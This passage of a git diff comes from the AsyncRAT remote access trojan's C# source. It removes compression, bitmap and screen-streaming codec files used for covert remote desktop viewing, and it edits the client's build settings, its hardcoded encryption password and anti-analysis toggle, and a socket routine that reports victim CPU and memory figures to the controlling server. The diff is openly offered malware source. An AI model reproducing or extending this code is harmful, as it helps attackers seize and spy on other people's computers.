TotalLength { get; private set; } - - public int Offset - { - get { return _offset; } - set - { - if (value < 0) - throw new Exception("Offset must be >= 1"); - - if (value >= TotalLength) - throw new Exception("Offset cannot go outside of the reserved buffer space"); - - _offset = value; - } - } - - public PointerHelper(IntPtr pointer, int Length) - { - this.TotalLength = Length; - this.Pointer = pointer; - } - - /// - /// Copies data from Source to the current Pointer Offset - /// - public void Copy(IntPtr Source, int SourceOffset, int SourceLength) - { - if (CheckBoundries(this.Offset, SourceLength)) - throw new AccessViolationException("Cannot write outside of the buffer space"); - NativeMethods.memcpy(new IntPtr(this.Pointer.ToInt64() + Offset), new IntPtr(Source.ToInt64() + SourceOffset), (uint)SourceLength); - } - - private bool CheckBoundries(int offset, int length) - { - return offset + length > TotalLength; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SafeQuickLZ.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SafeQuickLZ.cs deleted file mode 100644 index bde4b98..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SafeQuickLZ.cs +++ /dev/null @@ -1,487 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Text; - -namespace StreamLibrary.src -{ - // QuickLZ data compression library - // Copyright (C) 2006-2011 Lasse Mikkel Reinhold - // lar@quicklz.com - // - // QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything - // released into public must be open source) or under a commercial license if such - // has been acquired (see http://www.quicklz.com/order.html). The commercial license - // does not cover derived or ported versions created by third parties under GPL. - // - // Only a subset of the C library has been ported, namely level 1 and 3 not in - // streaming mode. - // - // Version: 1.5.0 final - - public class SafeQuickLZ - { - public const int QLZ_VERSION_MAJOR = 1; - public const int QLZ_VERSION_MINOR = 5; - public const int QLZ_VERSION_REVISION = 0; - - // Streaming mode not supported - public const int QLZ_STREAMING_BUFFER = 0; - - // Bounds checking not supported Use try...catch instead - public const int QLZ_MEMORY_SAFE = 0; - - // Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values! - private const int HASH_VALUES = 4096; - private const int MINOFFSET = 2; - private const int UNCONDITIONAL_MATCHLEN = 6; - private const int UNCOMPRESSED_END = 4; - private const int CWORD_LEN = 4; - private const int DEFAULT_HEADERLEN = 9; - private const int QLZ_POINTERS_1 = 1; - private const int QLZ_POINTERS_3 = 16; - - private int headerLen(byte[] source, int offset) - { - return ((source[offset] & 2) == 2) ? 9 : 3; - } - - public int sizeDecompressed(byte[] source, int offset) - { - if (headerLen(source, offset) == 9) - return source[offset + 5] | (source[offset + 6] << 8) | (source[offset + 7] << 16) | (source[offset + 8] << 24); - else - return source[offset + 2]; - } - - public int sizeCompressed(byte[] source, int offset) - { - if (headerLen(source, offset) == 9) - return source[offset + 1] | (source[offset + 2] << 8) | (source[offset + 3] << 16) | (source[offset + 4] << 24); - else - return source[offset + 1]; - } - - private void write_header(byte[] dst, int level, bool compressible, int size_compressed, int size_decompressed) - { - dst[0] = (byte)(2 | (compressible ? 1 : 0)); - dst[0] |= (byte)(level << 2); - dst[0] |= (1 << 6); - dst[0] |= (0 << 4); - fast_write(dst, 1, size_decompressed, 4); - fast_write(dst, 5, size_compressed, 4); - } - - public byte[] compress(byte[] source, int Offset, int Length, int level) - { - int src = Offset; - int dst = DEFAULT_HEADERLEN + CWORD_LEN; - uint cword_val = 0x80000000; - int cword_ptr = DEFAULT_HEADERLEN; - byte[] destination = new byte[Length + 400]; - int[,] hashtable; - int[] cachetable = new int[HASH_VALUES]; - byte[] hash_counter = new byte[HASH_VALUES]; - byte[] d2; - int fetch = 0; - int last_matchstart = (Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1); - int lits = 0; - - if (level != 1 && level != 3) - throw new ArgumentException("C# version only supports level 1 and 3"); - - if (level == 1) - hashtable = new int[HASH_VALUES, QLZ_POINTERS_1]; - else - hashtable = new int[HASH_VALUES, QLZ_POINTERS_3]; - - if (Length == 0) - return new byte[0]; - - if (src <= last_matchstart) - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - - while (src <= last_matchstart) - { - if ((cword_val & 1) == 1) - { - if (src > Length >> 1 && dst > src - (src >> 5)) - { - d2 = new byte[Length + DEFAULT_HEADERLEN]; - write_header(d2, level, false, Length, Length + DEFAULT_HEADERLEN); - System.Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, Length); - return d2; - } - - fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4); - cword_ptr = dst; - dst += CWORD_LEN; - cword_val = 0x80000000; - } - - if (level == 1) - { - int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - int o = hashtable[hash, 0]; - int cache = cachetable[hash] ^ fetch; - cachetable[hash] = fetch; - hashtable[hash, 0] = src; - - if (cache == 0 && hash_counter[hash] != 0 && (src - o > MINOFFSET || (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] && - source[src] == source[src - 2] && source[src] == source[src - 1] && - source[src] == source[src + 1] && source[src] == source[src + 2]))) - { - cword_val = ((cword_val >> 1) | 0x80000000); - if (source[o + 3] != source[src + 3]) - { - int f = 3 - 2 | (hash << 4); - destination[dst + 0] = (byte)(f >> 0 * 8); - destination[dst + 1] = (byte)(f >> 1 * 8); - src += 3; - dst += 2; - } - else - { - int old_src = src; - int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1)); - - src += 4; - if (source[o + src - old_src] == source[src]) - { - src++; - if (source[o + src - old_src] == source[src]) - { - src++; - while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining) - src++; - } - } - - int matchlen = src - old_src; - - hash <<= 4; - if (matchlen < 18) - { - int f = (hash | (matchlen - 2)); - destination[dst + 0] = (byte)(f >> 0 * 8); - destination[dst + 1] = (byte)(f >> 1 * 8); - dst += 2; - } - else - { - fast_write(destination, dst, hash | (matchlen << 16), 3); - dst += 3; - } - } - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - lits = 0; - } - else - { - lits++; - hash_counter[hash] = 1; - destination[dst] = source[src]; - cword_val = (cword_val >> 1); - src++; - dst++; - fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16); - } - - } - else - { - fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16); - - int o, offset2; - int matchlen, k, m, best_k = 0; - byte c; - int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1)); - int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - - c = hash_counter[hash]; - matchlen = 0; - offset2 = 0; - for (k = 0; k < QLZ_POINTERS_3 && c > k; k++) - { - o = hashtable[hash, k]; - if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET) - { - m = 3; - while (source[o + m] == source[src + m] && m < remaining) - m++; - if ((m > matchlen) || (m == matchlen && o > offset2)) - { - offset2 = o; - matchlen = m; - best_k = k; - } - } - } - o = offset2; - hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src; - c++; - hash_counter[hash] = c; - - if (matchlen >= 3 && src - o < 131071) - { - int offset = src - o; - - for (int u = 1; u < matchlen; u++) - { - fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16); - hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1); - c = hash_counter[hash]++; - hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u; - } - - src += matchlen; - cword_val = ((cword_val >> 1) | 0x80000000); - - if (matchlen == 3 && offset <= 63) - { - fast_write(destination, dst, offset << 2, 1); - dst++; - } - else if (matchlen == 3 && offset <= 16383) - { - fast_write(destination, dst, (offset << 2) | 1, 2); - dst += 2; - } - else if (matchlen <= 18 && offset <= 1023) - { - fast_write(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2); - dst += 2; - } - else if (matchlen <= 33) - { - fast_write(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3); - dst += 3; - } - else - { - fast_write(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4); - dst += 4; - } - lits = 0; - } - else - { - destination[dst] = source[src]; - cword_val = (cword_val >> 1); - src++; - dst++; - } - } - } - while (src <= Length - 1) - { - if ((cword_val & 1) == 1) - { - fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4); - cword_ptr = dst; - dst += CWORD_LEN; - cword_val = 0x80000000; - } - - destination[dst] = source[src]; - src++; - dst++; - cword_val = (cword_val >> 1); - } - while ((cword_val & 1) != 1) - { - cword_val = (cword_val >> 1); - } - - fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN); - write_header(destination, level, true, Length, dst); - d2 = new byte[dst]; - System.Array.Copy(destination, d2, dst); - return d2; - } - - - private void fast_write(byte[] a, int i, int value, int numbytes) - { - for (int j = 0; j < numbytes; j++) - a[i + j] = (byte)(value >> (j * 8)); - } - - public byte[] decompress(byte[] source, int Offset, int Length) - { - int level; - int size = sizeDecompressed(source, Offset); - int src = headerLen(source, Offset) + Offset; - int dst = 0; - uint cword_val = 1; - byte[] destination = new byte[size]; - int[] hashtable = new int[4096]; - byte[] hash_counter = new byte[4096]; - int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1; - int last_hashed = -1; - int hash; - uint fetch = 0; - - level = (source[Offset] >> 2) & 0x3; - - if (level != 1 && level != 3) - throw new ArgumentException("C# version only supports level 1 and 3"); - - if ((source[Offset] & 1) != 1) - { - byte[] d2 = new byte[size]; - System.Array.Copy(source, headerLen(source, Offset), d2, Offset, size); - return d2; - } - - for (; ; ) - { - if (cword_val == 1) - { - cword_val = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); - src += 4; - if (dst <= last_matchstart) - { - if (level == 1) - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); - else - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); - } - } - - if ((cword_val & 1) == 1) - { - uint matchlen; - uint offset2; - - cword_val = cword_val >> 1; - - if (level == 1) - { - hash = ((int)fetch >> 4) & 0xfff; - offset2 = (uint)hashtable[hash]; - - if ((fetch & 0xf) != 0) - { - matchlen = (fetch & 0xf) + 2; - src += 2; - } - else - { - matchlen = source[src + 2]; - src += 3; - } - } - else - { - uint offset; - if ((fetch & 3) == 0) - { - offset = (fetch & 0xff) >> 2; - matchlen = 3; - src++; - } - else if ((fetch & 2) == 0) - { - offset = (fetch & 0xffff) >> 2; - matchlen = 3; - src += 2; - } - else if ((fetch & 1) == 0) - { - offset = (fetch & 0xffff) >> 6; - matchlen = ((fetch >> 2) & 15) + 3; - src += 2; - } - else if ((fetch & 127) != 3) - { - offset = (fetch >> 7) & 0x1ffff; - matchlen = ((fetch >> 2) & 0x1f) + 2; - src += 3; - } - else - { - offset = (fetch >> 15); - matchlen = ((fetch >> 7) & 255) + 3; - src += 4; - } - offset2 = (uint)(dst - offset); - } - - destination[dst + 0] = destination[offset2 + 0]; - destination[dst + 1] = destination[offset2 + 1]; - destination[dst + 2] = destination[offset2 + 2]; - - for (int i = 3; i < matchlen; i += 1) - { - destination[dst + i] = destination[offset2 + i]; - } - - dst += (int)matchlen; - - if (level == 1) - { - fetch = (uint)(destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | (destination[last_hashed + 3] << 16)); - while (last_hashed < dst - matchlen) - { - last_hashed++; - hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1)); - hashtable[hash] = last_hashed; - hash_counter[hash] = 1; - fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16); - } - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16)); - } - else - { - fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24)); - } - last_hashed = dst - 1; - } - else - { - if (dst <= last_matchstart) - { - destination[dst] = source[src]; - dst += 1; - src += 1; - cword_val = cword_val >> 1; - - if (level == 1) - { - while (last_hashed < dst - 3) - { - last_hashed++; - int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | (destination[last_hashed + 2] << 16); - hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1); - hashtable[hash] = last_hashed; - hash_counter[hash] = 1; - } - fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16); - } - else - { - fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24); - } - } - else - { - while (dst <= size - 1) - { - if (cword_val == 1) - { - src += CWORD_LEN; - cword_val = 0x80000000; - } - - destination[dst] = source[src]; - dst++; - src++; - cword_val = cword_val >> 1; - } - return destination; - } - } - } - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SimpleBitmap.cs b/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SimpleBitmap.cs deleted file mode 100644 index ab62e1f..0000000 --- a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SimpleBitmap.cs +++ /dev/null @@ -1,177 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.Runtime.InteropServices; -using System.Text; - -namespace StreamLibrary.src -{ - public unsafe class SimpleBitmap - { - private object ProcessingLock = new object(); - - public SimpleBitmapInfo Info { get; internal set; } - public bool Locked { get { return Scan0 == IntPtr.Zero ? false : true; } } - public IntPtr Scan0 { get; internal set; } - public int Scan0_int { get; internal set; } - public BitmapData bitmapData { get; internal set; } - public Bitmap bitMap { get; set; } - - public class SimpleBitmapInfo - { - public SimpleBitmapInfo() - { - Clear(); - } - public SimpleBitmapInfo(BitmapData data) - { - Load(data); - } - public int Stride { get; protected set; } - public int PixelSize { get; protected set; } - public int Width { get; protected set; } - public int Height { get; protected set; } - - public int TotalSize { get; protected set; } - - internal void Clear() - { - Stride = 0; PixelSize = 0; Width = 0; Height = 0; TotalSize = 0; - } - internal void Load(BitmapData data) - { - Width = data.Width; Height = data.Height; Stride = data.Stride; - - PixelSize = Math.Abs(data.Stride) / data.Width; - TotalSize = data.Width * data.Height * PixelSize; - } - } - - public static bool Compare(Rectangle block, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo) - { - int calc = 0; - int WidthSize = block.Width * sharedInfo.PixelSize; - - calc = (block.Y) * sharedInfo.Stride + block.X * sharedInfo.PixelSize; - - for (int i = 0; i < block.Height; i++) - { - if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)WidthSize) != 0) - return false; - calc += sharedInfo.Stride; - } - return true; - } - public static bool Compare(int y, int rowsize, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo) - { - int calc = 0; - int Size = sharedInfo.Width * sharedInfo.PixelSize * rowsize; - - calc = y * sharedInfo.Stride; - - if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)Size) != 0) - return false; - return true; - } - public static bool FastCompare(int offset, int size, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo) - { - if (NativeMethods.memcmp((byte*)(ptr1 + offset), (byte*)(ptr2 + offset), (uint)size) != 0) - return false; - return true; - } - - public unsafe void CopyBlock(Rectangle block, ref byte[] dest) - { - int calc = 0; - int WidthSize = block.Width * Info.PixelSize; - int CopyOffset = 0; - int scan0 = Scan0.ToInt32(); - int destSize = WidthSize * block.Height; - - if (dest == null || dest.Length != destSize) - dest = new byte[destSize]; - - calc = (block.Y) * Info.Stride + block.X * Info.PixelSize; - - fixed (byte* ptr = dest) - { - for (int i = 0; i < block.Height; i++) - { - NativeMethods.memcpy(new IntPtr(ptr + CopyOffset), new IntPtr(scan0 + calc), (uint)WidthSize); - calc += Info.Stride; - CopyOffset += WidthSize; - } - } - } - - public SimpleBitmap() - { - Scan0 = IntPtr.Zero; - bitmapData = null; - bitMap = null; - - Info = new SimpleBitmapInfo(); - } - public SimpleBitmap(Bitmap bmp) - { - this.bitMap = bmp; - } - - public void Lock() - { - if (Locked) - throw new Exception("Already locked"); - - lock (ProcessingLock) - { - bitmapData = bitMap.LockBits(new Rectangle(0, 0, bitMap.Width, bitMap.Height), ImageLockMode.ReadWrite, bitMap.PixelFormat); - - Info = new SimpleBitmapInfo(bitmapData); - - Scan0 = bitmapData.Scan0; - Scan0_int = Scan0.ToInt32(); - } - } - public void Unlock() - { - if (!Locked) - throw new Exception("Nothing to unlock"); - - lock (ProcessingLock) - { - Scan0 = IntPtr.Zero; - Scan0_int = 0; - - Info.Clear(); - bitMap.UnlockBits(bitmapData); - bitmapData = null; - } - } - public unsafe void PlaceBlockAtRectange(byte[] block, Rectangle loc) - { - int CopySize = Info.PixelSize * loc.Width; - int OffsetX = loc.X * Info.PixelSize; - int TotalCopied = 0; - - fixed (byte* ptr = block) - { - for (int i = 0; i < loc.Height; i++) - { - NativeMethods.memcpy(new IntPtr(Scan0_int + ((loc.Y + i) * Info.Stride + OffsetX)), new IntPtr(ptr + TotalCopied), (uint)CopySize); - TotalCopied += CopySize; - } - } - } - public void Dispose(bool disposeBitmap = false) - { - if (Locked) - Unlock(); - - if (disposeBitmap) - bitMap.Dispose(); - - bitMap = null; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index d87a648..34ba457 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -1,6 +1,6 @@  - + Debug @@ -36,7 +36,7 @@ true full false - ..\AsyncRAT-Sharp\Resources\ + ..\AsyncRAT-Sharp\bin\Debug\Stub\ DEBUG;TRACE prompt 4 @@ -49,7 +49,7 @@ x86 none true - ..\AsyncRAT-Sharp\Resources\ + ..\AsyncRAT-Sharp\bin\Release\Stub\ TRACE prompt 4 @@ -61,8 +61,11 @@ + + ..\packages\Costura.Fody.4.0.0\lib\net40\Costura.dll + - ..\packages\IconLib\IconLib.dll + ..\AsyncRAT-Sharp\Resources\IconLib.dll @@ -96,35 +99,12 @@ - - - - - - - - - - - - - - - - - - - - - - - @@ -139,12 +119,12 @@ - This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. - - + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index 73eeae3..24c558c 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -14,7 +14,11 @@ namespace Client public static readonly string Password = "NYAN CAT"; public static readonly Aes256 aes256 = new Aes256(Password); public static readonly string MTX = "%MTX%"; - public static readonly string Anti = "%Anti%"; - //public static readonly string Anti = "false"; +#if DEBUG + public static readonly string Anti = "false"; + +#else + public static readonly string Anti = "%Anti%"; +#endif } } \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index c84c7cf..e2cc9d1 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -199,23 +199,29 @@ namespace Client.Sockets public static void CheckServer(object obj) { - try + lock (SendSync) { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "Ping"; - msgpack.ForcePathObject("Message").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%"; + lock (EndSendSync) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping"; + msgpack.ForcePathObject("Message").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%"; - byte[] buffer = Settings.aes256.Encrypt(msgpack.Encode2Bytes()); - byte[] buffersize = BitConverter.GetBytes(buffer.Length); + byte[] buffer = Settings.aes256.Encrypt(msgpack.Encode2Bytes()); + byte[] buffersize = BitConverter.GetBytes(buffer.Length); - Client.Poll(-1, SelectMode.SelectWrite); - Client.Send(buffersize, 0, buffersize.Length, SocketFlags.None); - Client.Send(buffer, 0, buffer.Length, SocketFlags.None); - } - catch - { - IsConnected = false; - return; + Client.Poll(-1, SelectMode.SelectWrite); + Client.Send(buffersize, 0, buffersize.Length, SocketFlags.None); + Client.Send(buffer, 0, buffer.Length, SocketFlags.None); + } + catch + { + IsConnected = false; + return; + } + } } } } diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/DirectDriverCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/DirectDriverCodec.cs deleted file mode 100644 index fce74ea..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/Codecs/DirectDriverCodec.cs +++ /dev/null @@ -1,160 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - public class DirectDriverCodec - { - private Bitmap decodedBitmap; - - private byte[] EncodeBuffer; - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - private JpgCompression jpgCompression; - - public DirectDriverCodec(int Quality) - { - jpgCompression = new JpgCompression(Quality); - } - - public unsafe void CodeImage(IntPtr Scan0, Rectangle[] Changes, Size ImageSize, PixelFormat Format, Stream outStream) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - switch (Format) - { - case PixelFormat.Format24bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - Stride = ImageSize.Width * PixelSize; - RawLength = Stride * ImageSize.Height; - - if (EncodeBuffer == null) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - this.EncodeBuffer = new byte[RawLength]; - fixed (byte* ptr = EncodeBuffer) - { - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = jpgCompression.Compress(TmpBmp); - } - - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); - } - return; - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - for (int i = 0; i < Changes.Length; i++) - { - Rectangle rect = Changes[i]; - int blockStride = PixelSize * rect.Width; - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Position; - long OldPos = outStream.Position; - jpgCompression.Compress(TmpBmp, ref outStream); - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - } - - public Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - return decodedBitmap; - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/MJPGCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/MJPGCodec.cs deleted file mode 100644 index 072ff3e..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/Codecs/MJPGCodec.cs +++ /dev/null @@ -1,68 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - /// - /// The M-JPG codec is not very efficient for networking as it is just a very simple codec - /// - public class MJPGCodec : IVideoCodec - { - public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; - public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override ulong CachedSize - { - get { return 0; } - internal set { } - } - - public override int BufferCount - { - get { return 0; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.None; } - } - - public MJPGCodec(int ImageQuality = 100) - : base(ImageQuality) - { - - } - - public override void CodeImage(Bitmap bitmap, Stream outStream) - { - lock (base.jpgCompression) - { - byte[] data = base.jpgCompression.Compress(bitmap); - outStream.Write(BitConverter.GetBytes(data.Length), 0, 4); - outStream.Write(data, 0, data.Length); - } - } - - public override Bitmap DecodeData(Stream inStream) - { - lock (base.jpgCompression) - { - if (!inStream.CanRead) - throw new Exception("Must have access to Read in the Stream"); - - byte[] temp = new byte[4]; - inStream.Read(temp, 0, temp.Length); - int DataLength = BitConverter.ToInt32(temp, 0); - temp = new byte[DataLength]; - inStream.Read(temp, 0, temp.Length); - return (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - } - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickCachedStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickCachedStreamCodec.cs deleted file mode 100644 index e9dc63c..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickCachedStreamCodec.cs +++ /dev/null @@ -1,204 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - public class QuickCachedStreamCodec : IVideoCodec - { - private Bitmap CodeTempBitmap; - private Bitmap DecodeTempBitmap; - - public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; - public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - public override ulong CachedSize - { - get; - internal set; - } - - public int MaxBuffers { get; private set; } - private SortedList EncodeCache; - private SortedList DecodeCache; - - - /// - /// Initialize a new object of QuickStreamCodec - /// - /// The image quality 0-100% - public QuickCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100) - : base(ImageQuality) - { - this.MaxBuffers = MaxBuffers; - this.EncodeCache = new SortedList(); - this.DecodeCache = new SortedList(); - } - - public override int BufferCount - { - get { return 1; } - } - public override CodecOption CodecOptions - { - get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; } - } - - public override unsafe void CodeImage(Bitmap bitmap, Stream outStream) - { - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - if (CodeTempBitmap != null) - { - if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height) - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - } - - if (CodeTempBitmap == null) - { - byte[] temp = base.jpgCompression.Compress(bitmap); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - CodeTempBitmap = bitmap; - return; - } - - BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); - BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, 